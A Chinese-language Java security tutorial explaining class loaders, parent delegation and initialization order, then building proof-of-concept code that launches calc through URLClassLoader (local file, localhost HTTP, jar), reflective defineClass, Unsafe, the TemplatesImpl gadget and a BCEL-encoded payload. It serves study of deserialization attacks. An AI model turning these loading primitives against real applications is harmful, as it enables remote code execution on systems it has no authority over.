Java安全-类的动态加载
类加载器及双亲委派
类加载器有什么用
以这段简单代码为例
1
| Student student = new Student();
|
我们知道,Student 本身其实是一个抽象类,是通过 new 这个操作,将其实例化的,类加载器做的便是这个工作。
ClassLoader 的工作如图所示

加载器也分多种加载器,每个加载器负责不同的功能。
主要分为这四种加载器
- 虚拟机自带的加载器
- 启动类(根)加载器
- 扩展类加载器
- 应用程序加载器
几种加载器
引导类加载器
引导类加载器(BootstrapClassLoader),底层原生代码是 C++ 语言编写,属于 JVM 一部分。
不继承 java.lang.ClassLoader 类,也没有父加载器,主要负责加载核心 java 库(即 JVM 本身),存储在 /jre/lib/rt.jar 目录当中。(同时处于安全考虑,BootstrapClassLoader 只加载包名为 java、javax、sun 等开头的类)。
扩展类加载器(ExtensionsClassLoader)
扩展类加载器(ExtensionsClassLoader),由 sun.misc.Launcher$ExtClassLoader 类实现,用来在 /jre/lib/ext 或者 java.ext.dirs 中指明的目录加载 java 的扩展库。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
App类加载器(AppClassLoader)
App类加载器/系统类加载器(AppClassLoader),由 sun.misc.Launcher$AppClassLoader 实现,一般通过通过( java.class.path 或者 Classpath 环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader() 来获取它。
双亲委派机制
- 在 Java 开发当中,双亲委派机制是从安全角度出发的。
从报错的角度感受双亲委派机制
新建一个 java.lang的文件夹,在其中新建 String.java 的文件。
String.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package java.lang;
public class String { public String toString(){ return "hello"; } public static void main(String[] args) { String s = new String(); s.toString(); } }
|
我们自己定义了一个 java.lang 的文件夹,并在文件夹中定义了 String.class,还定义了 String 这个类的 toString 方法。

我们定义了main方法,但是仍然会报错
为什么会报错呢
首先,我们要知道 Java 的类加载器是分很多层的,如图。

由于类加载器的双亲委派机制限制,类加载器在被调用时也就是在 new class 的时候,它是以这么一个顺序去找的 BOOT —> EXC —-> APP。如果 BOOT 当中没有,就去 EXC 里面找,如果 EXC 里面没有,就去 APP 里面找。
- 我们之前报错的程序当中,定义的
java.lang.String 在 BOOT 当中是有的,所以我们自定义 String 时,会报错,如果要修改的话,是需要去 rt.jar 里面修改的,这里就不展开了。
从正确的角度感受双亲委派机制
前文提到我们新建的 java.lang.String 报错了,是因为我们定义的 String 和 BOOT 包下面的 String 冲突了,所以才会报错,我们这里定义一个 BOOT 和 EXC 都没有的对象试一试。
在其他的 文件夹下,新建 Student.java
Student.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package src.DynamicClassLoader;
public class Student { public String toString(){ return "Hello"; } public static void main(String[] args) { Student student = new Student();
System.out.println(student.getClass().getClassLoader()); System.out.println(student.toString()); } }
|

可以看到此时调用的是App类加载器
各场景下代码块加载顺序
- 这里的代码块主要指的是这四种
- 静态代码块:
static{}
- 构造代码块:
{}
- 无参构造器:
ClassName()
- 有参构造器:
ClassName(String name)
场景一、实例化对象
这里有两个文件,分别介绍一下用途:
Person.java:一个普普通通的类,里面有静态代码块、构造代码块、无参构造器、有参构造器、静态成员变量、普通成员变量、静态方法。
Main.java:启动类
Person.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package src.DynamicClassLoader;
public class Person { public static int staticVar; public int instanceVar; static { System.out.println("静态代码块"); } { System.out.println("构造代码块"); } Person(){ System.out.println("无参构造器"); } Person(int instanceVar){ System.out.println("有参构造器"); } public static void staticAction(){ System.out.println("静态方法"); } }
|
Main.java
1 2 3 4 5 6 7 8
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) { Person person = new Person(); } }
|
通过 new 关键字实例化的对象,先调用静态代码块,然后调用构造代码块,最后根据实例化方式不同(对应参数列表不同),调用不同的构造器。
场景二、调用静态方法
直接调用类的静态方法
Person.java 不变,修改 Main.java 启动器即可。
Main.java
1 2 3 4 5 6 7 8
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) { Person.staticAction(); } }
|
不实例化对象直接调用静态方法,会先调用类中的静态代码块,然后调用静态方法
场景三、对类中的静态成员变量赋值
Main.java
1 2 3 4 5 6 7 8
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) { Person.staticVar = 1; } }
|
在对静态成员变量赋值前,会调用静态代码块
场景四、使用 class 获取类
1 2 3 4 5 6 7 8 9 10
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) { Class c = Person.class; } }
|
利用 class 关键字获取类,并不会加载类,也就是什么也不会输出。
场景五、使用 forName 获取类
我们写三种 forName 的方法调用。
修改 Main.java
1 2 3 4 5 6 7 8 9
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException{ Class.forName("src.DynamicClassLoader.Person"); } }
|
1 2 3 4 5 6 7 8 9
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException{ Class.forName("src.DynamicClassLoader.Person", true, ClassLoader.getSystemClassLoader()); } }
|
1 2 3 4 5 6 7 8 9
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException{ Class.forName("src.DynamicClassLoader.Person", false, ClassLoader.getSystemClassLoader()); } }
|
Class.forName(className)和Class.forName(className, true, ClassLoader.getSystemClassLoader())等价,这两个方法都会调用类中的静态代码块,如果将第二个参数设置为false,那么就不会调用静态代码块
第二个参数是initialize,控制类的初始化。初始化类就会执行静态代码块
场景六、使用 ClassLoader.loadClass() 获取类
Main.java
1 2 3 4 5 6 7 8
| package src.DynamicClassLoader;
public class Main { public static void main(String[] args) throws ClassNotFoundException { ClassLoader.getSystemClassLoader().loadClass("src.DynamicClassLoader.Person"); } }
|
ClassLoader.loadClass()方法只加载,不初始化,当然,如果后面再使用newInstance()进行初始化,那么会和场景一、实例化对象一样的顺序加载对应的代码块。
动态加载字节码
字节码的概念
什么是字节码?
严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中。
而字节码的诞生是为了让 JVM 的流通性更强,这是什么意思呢?看图便知。

字节码是中间层:屏蔽了不同语言和不同操作系统的差异。
JVM 是执行引擎:它只要能读懂字节码,就能跑在 Windows、Linux、Mac、甚至手机(Android)上。
因为这种模式,JVM 不仅能跑 Java,还能跑 Kotlin、Scala、Groovy 等一大堆语言 → JVM 变成了一个“多语言运行平台”。
类加载器的原理
根据前面各场景下代码块的加载顺序我们得知,在 loadClass() 方法被调用的时候,是不进行类的初始化的。
代码:
1 2
| ClassLoader c = ClassLoader.getSystemClassLoader(); c.loadClass("BasiClassLoader.Person");
|
打一下断点,调试一下,断点打在 ClassLoader.loadClass() 的地方,也就是父类。为什么这么打断点是有原因的,因为最开始我们已知 “Person” 类它是 Launcher@APPClassLoader,它里面是有一个 loadClass() 方法的,但是它只有一个参数。所以断点下在 ClassLoader.loadClass() 之类
开始调试
调试先会走到 ClassLoader.loadClass(),这里其实 return 就多给了一个参数为 false;我们 ctrl + f7 跟进。又会回到 Launcher@APPClassLoader 这里。

而在 java.lang.ClassLoader 中,loadClass 方法的定义是这样的:
1
| protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
|
resolve(布尔值,可选)
是否在加载后**立即解析(link/resolve)**类。
false:只加载类,但不解析。
true:加载后立刻解析。
这里return false,所以类不会初始化
继续跟进

这里 null 是因为最上面的 Bootstrap 类是 native 类,也就是之前说过的 C 写的源码,所以为 null。
继续往下走,因为 APP 和 Ext 的父类是 URLClassLoader,所以这里的 findClass() 是会去找到 URLClassLoader 的。

接着在 URLClassLoader 里面调用了 defineClass 方法,再一步步跟进就是我们的 native 方法(在 JVM 内部做的事情:字节码验证,生成 JVM 内部数据结构(Klass),链接(验证 + 准备 + 解析),存入方法区/元空间)
总的流程:
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
下面我们介绍多种能够用于反序列化攻击的,加载字节码的类加载器。
利用 URLClassLoader 加载远程 class 文件
URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释 URLClassLoader 的工作过程实际上就是在解释默认的 Java 类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。
我们一个个看
file 协议
我们在目录下新建一个 Calc.java 的文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package src; import java.io.IOException;
public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
这里利用终端进行编译
可以看到当前目录下生成Calc.class文件
接着,我们编写 URLClassLoader 的启动类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package src.DynamicClassLoader.URLClassLoader;
import java.net.URL; import java.net.URLClassLoader;
public class FileRce { public static void main(String[] args) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader (new URL[]{new URL("file:///D:\\javaEE练习\\src\\src\\main\\java\\src")}); Class calc = urlClassLoader.loadClass("src.Calc"); calc.newInstance(); } }
|

HTTP 协议
在 Calc.class 文件目录下执行 python3 -m http.server 9999,起一个 http 服务。
接着,我们编写恶意利用类
1 2 3 4 5 6 7 8 9 10 11 12 13
| package src.DynamicClassLoader.URLClassLoader;
import java.net.URL; import java.net.URLClassLoader;
public class HTTPRce { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")}); Class calc = urlClassLoader.loadClass("src.Calc"); calc.newInstance(); } }
|

file+jar 协议
先将我们之前的 class 文件打包一下,打包为 jar 文件。
去到源 .class 文件下,别去复制的地方,运行命令
1
| jar -cvf Calc.jar Clac.class
|
接着,我们修改启动器,调用恶意类
1 2 3 4 5 6 7 8 9 10 11 12
| package src.DynamicClassLoader.URLClassLoader;
import java.net.URL; import java.net.URLClassLoader;
public class JarRce { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")}); Class calc = urlClassLoader.loadClass("src.Calc"); calc.newInstance(); } }
|

HTTP + jar 协议
1 2 3 4 5 6 7 8 9 10 11 12
| package src.DynamicClassLoader.URLClassLoader; import java.net.URL; import java.net.URLClassLoader;
public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:http://127.0.0.1:9999/Calc.jar!/")}); Class calc = urlClassLoader.loadClass("src.Calc"); calc.newInstance(); } }
|

最灵活的肯定是 http 协议的加载
利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。
1 2 3 4 5 6 7 8 9 10 11
| URLClassLoader.loadClass() ↓ findClass() ↓ URLClassPath -> 打开 URL(file/http/ftp) ↓ 读取字节码 ↓ ClassLoader.defineClass() (native) ↓ 得到 JVM 内部 Class 对象
|
从前面的分析可知:
loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass();
defineClass 的作用是处理前面传入的字节码,将其处理成真正的 Java 类
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java
默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中。
DefineClass
1 2 3 4 5
| protected final Class<?> defineClass(String name, byte[] b, int off, int len) throws ClassFormatError { return defineClass(name, b, off, len, null); }
|
name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass() 方法进行字节码的加载,然后实例化之后即可弹 shell
我们编写如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| package src.DynamicClassLoader;
import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class DefineClassRce { public static void main(String[] args) throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); Class c = (Class) method.invoke(classLoader, "src.Calc", code, 0, code.length); c.newInstance(); } }
|
成功弹出计算器
使用ClassLoader#defineClass直接加载字节码有个优点就是不需要出网也可以加载字节码,但是它也是有缺点的,就是需要设置m.setAccessible(true);,这在平常的反射中是无法调用的。
在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。
Unsafe 加载字节码
- Unsafe中也存在
defineClass()方法,本质上也是 defineClass 加载字节码的方式。
Unsafe 的 defineClass() 方法
1 2 3 4 5 6 7 8
| public native Class<?> defineClass( String name, byte[] b, int off, int len, ClassLoader loader, ProtectionDomain pd );
|
同时可以在Unsafe类中看到
1 2 3 4 5 6
| private static final Unsafe theUnsafe;
theUnsafe = new Unsafe();
private Unsafe() { }
|
可以判断Unsafe类是一个单例模式,我们利用反射调用defineClass方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package src.DynamicClassLoader.UnsafeClassLoader;
import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;
public class UnsafeClassLoaderRce { public static void main(String[] args) throws Exception { ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<Unsafe> unsafeClass = Unsafe.class; Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe classUnsafe = (Unsafe) unsafeField.get(null); Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class ); byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); Class calc = (Class) defineClassMethod.invoke(classUnsafe, "src.Calc", code, 0, code.length, classLoader, null ); calc.newInstance(); } }
|
成功弹出计算器
TemplatesImpl 加载字节码
- 我们先跟进 TemplatesImpl 这个包中看 TemplatesImpl 的结构图
可以看到在 TemplatesImpl 类中还有一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法。

- 简单来说,这里的
defineClass 由其父类的 protected 类型变成了一个 default 类型的方法,可以被类外部调用。
我们从 TransletClassLoader#defineClass() 向前追溯一下调用链:
我这里是通过全局搜索关键字寻找方法调用关系
1 2 3 4 5
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
|
追到最前面两个方法 TemplatesImpl#getOutputProperties() 和 TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。
我们尝试用 TemplatesImpl#newTransformer() 构造一个简单的 POC
首先先构造字节码,注意,这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package src.DynamicClassLoader.TemplatesImplClassLoader; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException;
public class TemplatesBytes extends AbstractTranslet { public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{} public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{} public TemplatesBytes() throws IOException{ super(); Runtime.getRuntime().exec("Calc"); } }
|
生成class文件
1
| javac -source 8 -target 8 TemplatesBytes.java
|
编写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package src.DynamicClassLoader.TemplatesImplClassLoader; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class TemplatesRce { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("E:\\Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
setFieldValue方法传入的参数与链子间方法调用的条件有关
- getTransletInstance()需要_name不为空

_ bytecodes要包含有效的类字节码文件内容,_tfactory必须设置有效的工厂实例

成功弹出计算器

利用 BCEL ClassLoader 加载字节码
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
我们还是用之前写过的 Calc.java 这个类。
编写POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package src.DynamicClassLoader.BCEL;
import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.JavaClass; import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCELClassLoaderRce { public static void main(String[] args) throws Exception { Class calc = Class.forName("src.Calc"); JavaClass javaClass = Repository.lookupClass(calc); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); } }
|
成功弹出计算器

这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC
- 注意这里的 ClassLoader 包不要导错了。
1 2 3 4 5 6 7 8 9 10
| package src.DynamicClassLoader.BCEL; import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELSuccessRce { public static void main(String[] args) throws Exception{ new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1c$i$C$81$f0$d1$PhK$81$QU$f5$a57$Q$97$ARU$D$V$Bz$de$y$ab$b0$d4$b1$p$7b$83$e0$X$f5$cc$85$o$O$fd$B$fc$u$c4$ecBi$a4$f6PK$9e$f1$7b3$f3$e6$ad$f7$ee$fe$f6$X$80OX$f1$e1a$d6$c7$i$e6$3d$bc0$f9$a5$8bW$3eJx$edb$c1$c5$oCyC$rJo2$U$9bk$c7$MN$3b$3d$91$M$b5H$rro$d8$ef$ca$ec$90wcb$eaQ$wx$7c$cc3e$f0$T$e9$e8S$953$7c$88$f2L$84$5b$97$J$ef$x$d1$8ey$9eG$v$3f$91Yxt$Q$8d$c26$8f$c5$3a$83$b7$n$e2$a7$a5$8cD$g$d1$Z$3f$e7$a1J$c3$cf$fb$db$XB$O$b4J$Tj$abv4$X$dfw$f9$c0$$$p$df$M$7e$t$jfB$ee$u$b3$bcb$e4$3e$9a$d9$A$V$f8$$$de$Ex$8bw$e4$8a$8c$8a$AKx$cf0$f5$P$ed$A$cb$f0$ZZ$ffo$9aa$c2$ea$c4$3c$e9$85$fb$dd3$v4$c3$e4$l$ea$60$98h$d5$tO$7eO$eag$d0h$aeE$7f$f5$d0$c1$iy$nIr$b59R$ed$e8L$r$bd$f5$d1$81$afY$wd$9e$d3$40m$40Em$7f$c7a$c6$85$a4c$bat$b1$e6$v$80$99$c3S$i$p$URf$94K$ad$9f$60W$b6$iP$y$5b$b2$8c$w$c5$e0$b1$B$e3$a8Q$f60$f1$3c$cc$ad$YP$bfA$a1$5e$bc$86$f3$ed$H$bc$_$adk$94$af$y_$a1$d9$S$8aVq$86$be$Mc$b8$80$U$aa$a40I$f1$f7$86$w$i$c2uBS$f4$ba$uD$$$a6$j$w4$ac$a9$99$H$X$f0$df$84$a2$C$A$A").newInstance(); } }
|
那么为什么要在前面加上 $$BCEL$$ 呢?这里引用一下p神的解释
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode
运行这段代码会直接弹出计算器
那么我们可以判断这段乱码应该就是Calc类BCEL格式的字节码
总结
我们知道加载class文件的其中一段流程
1 2 3 4 5 6 7 8 9 10 11
| URLClassLoader.loadClass() ↓ findClass() ↓ URLClassPath -> 打开 URL(file/http/ftp) ↓ 读取字节码 ↓ ClassLoader.defineClass() (native) ↓ 得到 JVM 内部 Class 对象
|
那么想要加载字节码,从流程中可以找到两个入口点
findClass()
利用 URLClassLoader 加载远程 class 文件就是利用此函数加载远程文件
defineClass()
利用不同类中的此方法加载字节码
另外一种比较特殊的其实是从loadClass()入手,转换字节码格式加载字节码,与前两种的出发点不同
参考
本文内容基本全部出自Java反序列化基础篇-05-类的动态加载 | Drunkbaby’s Blog